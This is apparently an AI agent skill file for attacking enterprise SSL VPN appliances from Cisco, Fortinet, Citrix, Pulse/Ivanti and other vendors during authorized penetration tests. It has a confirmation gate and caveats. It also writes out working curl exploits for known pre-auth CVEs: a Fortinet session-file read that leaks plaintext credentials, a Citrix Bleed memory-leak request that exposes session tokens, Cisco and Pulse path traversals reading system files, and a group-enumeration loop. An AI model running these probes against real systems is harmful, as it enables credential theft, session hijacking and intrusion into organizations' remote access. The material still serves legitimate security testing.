enterprise-vpn-attack

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

When to use this skill

Trigger when recon surfaces:

• *.<client>.example/+CSCOE+/logon.html or similar +CSCOE+ paths → Cisco ASA / AnyConnect
• intranet.* / vpn.* / connect.* / webvpn.* / wc.* / remote.* subdomains
• Port 443 returning login pages with Server: Apache or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
• TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
• HTTP responses with Set-Cookie: webvpn= (Cisco) / SVPNCOOKIE= (Fortinet) / NSC_AAA= (Citrix) / DSAuthSession= (Pulse) / BIGipServer* (F5)

DO NOT use for:

• Internal lateral-movement post-foothold (out of scope per user's boundary)
• VPN client-side bugs (different attack class)
• IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)

---

Vendor identification (fingerprinting)

Cisco ASA / AnyConnect

curl -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"

ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.

# Path-based version hints (older builds leaked builds in URLs)
curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled
curl -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint

Fortinet FortiGate / FortiOS

curl -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"

Version: /remote/info sometimes leaks (older), or /login?username= 302 response

Citrix NetScaler / ADC / Gateway

curl -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"

# Version banner
curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era

Palo Alto GlobalProtect

curl -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"

# Version banner via login page
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'

Pulse Secure / Ivanti Connect Secure

curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"

# Version
curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'

SonicWall NetExtender / SMA

curl -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"

F5 Big-IP / APM

curl -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)

---

Historical CVE leads — not verified applicability

Ranges and example probes below are imported leads, not an authoritative affected version list or validated tests. Before selecting a test, read the exact vendor advisory and fixed builds/configuration prerequisites. A table entry, status code, response size or scanner label alone is not a finding. Traversal/session-memory examples can expose real credentials; prefer owner-supplied build evidence and synthetic lab fixtures and do not collect unrelated users' sessions.

CVE matrix — pre-auth or auth-bypass (2018-2026)

Cisco ASA / AnyConnect

# Cisco CVE-2020-3452 — file read
curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5

# Cisco CVE-2018-0296 — path traversal
curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20

# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua    (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.html

Fortinet FortiGate / FortiOS

# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
# Response contains plaintext usernames + sessions if vulnerable

# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
# IP:PORT     username     password     (and others)

Citrix NetScaler / ADC / Gateway

# Citrix Bleed (CVE-2023-4966) detection
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
# If response is large (>10KB) and contains random memory contents — vulnerable
# Session tokens often present in the memory dump

# CVE-2019-19781 file read
curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'

Palo Alto GlobalProtect

The former Cookie probe mixed path creation and $(id) and claimed command-output proof from a response. It is not a reliable detection recipe. Compare exact build and configuration with the vendor advisory first; execution/file-write testing requires a separately approved lab procedure and owner-side verification.

Pulse Secure / Ivanti Connect Secure / Policy Secure

# CVE-2019-11510 — Pulse file read
curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'

SonicWall

---

SAML SP / IdP misconfigurations (always check)

Most enterprise VPNs now use SAML for SSO. Check SP metadata:

# Cisco ASA
curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50

# Fortinet
curl -sk 'https://target/remote/saml/metadata' | head -50

# Citrix
curl -sk 'https://target/saml/login' | head -30

Look for:

• AuthnRequestsSigned="false" is configuration context, not proof of XSW
• WantAssertionsSigned="false" requires checking actual response/assertion signature policy, replay cache and request binding
• Audience-restriction validation gaps
• Public signing certificates are expected metadata, not private signing keys and not evidence of forgery

---

Default credentials (test sparingly — lockout risk)

Historical default credentials are unverified hints, not a test plan. No fixed attempt count avoids lockout: establish account, distributed rate/lockout policy, test credentials and explicit auth-testing scope before any login attempt.

---

Group / tunnel-group enumeration (Cisco-specific)

Cisco ASA AAA groups can sometimes be enumerated without auth.

# Tunnel group enumeration via timing
for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
  ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \
    -X POST "https://target/+webvpn+/index.html" \
    -d "username=test&password=test&group_list=$group&tgroup=&Login=Login")
  echo "$group: ${ms}s"
done
# Timing differences are hypotheses only; network/load and WAF effects confound them.

---

AAA backend identification

After auth fails, look at error response details:

If you see SAML/Entra in the flow, pivot to m365-entra-attack skill for cred-spray strategy.

---

Bounded fingerprint example

After the confirmation gate authorizes this exact host and request, collect a normal login response only; avoid traversal/session-memory probes in fingerprinting.

curl --silent --show-error --connect-timeout 5 --max-time 15 \
  --max-filesize 262144 --head 'https://vpn.client.example/remote/login'

Keep TLS verification enabled; use the engagement's approved CA where necessary. Headers/cookies identify a candidate product, not its version or vulnerability. For any scanner, pin and inspect each selected template for writes, session-data extraction and disruption. Use explicit template paths, one authorized target, request/concurrency limits and stop conditions; broad tag/auto-scan sweeps are not an appliance-safe default. A 404 or large response does not establish patch state.

Operational discipline

• Banner-stripped servers (no version disclosure) are good defense-in-depth — record as positive finding even if no CVE found
• Rate-limit yourself — these appliances often log every request to a SIEM. Patient pace, jittered timing.
• SAML metadata may be public — access it only within authorized scope; redact internal identifiers in reports.
• Don't run pre-auth-RCE PoCs in red team without explicit OK — accidentally bricking a VPN concentrator = catastrophic for the client. Detection-only tests first, then escalate with permission.
• Document the AAA backend identification — knowing whether ASA uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths.

---

Bridge to neighboring skills

• m365-entra-attack — when AAA backend is Entra SAML; cred-spray strategy carries over
• hunt-saml — XSW / signature-stripping if SAML SP is misconfigured
• mid-engagement-ir-detection — appliances generate noisy logs; watch for IPS rules being deployed mid-engagement
• redteam-mindset — banner-stripped ≠ "not vulnerable"; keep digging via behavioral fingerprints

---

Anti-patterns

• Don't conclude "patched" from a 404 on one CVE path — patches deploy unevenly; compare exact build/configuration and vendor evidence; do not mandate extra exploit attempts
• Don't trust the version banner alone — appliance vendors often backport fixes without bumping the version string
• Don't run heavy nuclei scans without rate-limiting — these appliances are critical infrastructure
• Don't fingerprint by trying all CVE PoCs immediately — start with non-disruptive HEAD + version-banner probes
• Don't skip SAML metadata — even when the appliance is patched, SAML SP misconfig is its own attack surface

---

Related Skills & Chains

hunt-saml, hunt-ntlm-info and mid-engagement-ir-detection may help interpret approved evidence. A reachable metadata endpoint is not a SAML bypass; a known CVE is not proof of file-write-to-root or a universal exploit chain. Credential extraction, reuse, persistence and internal pivots require their own written scope and confirmation; stop at the approved proof threshold and never reuse session tokens recovered from another user's traffic.

Limitations

• Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
• Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
• Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.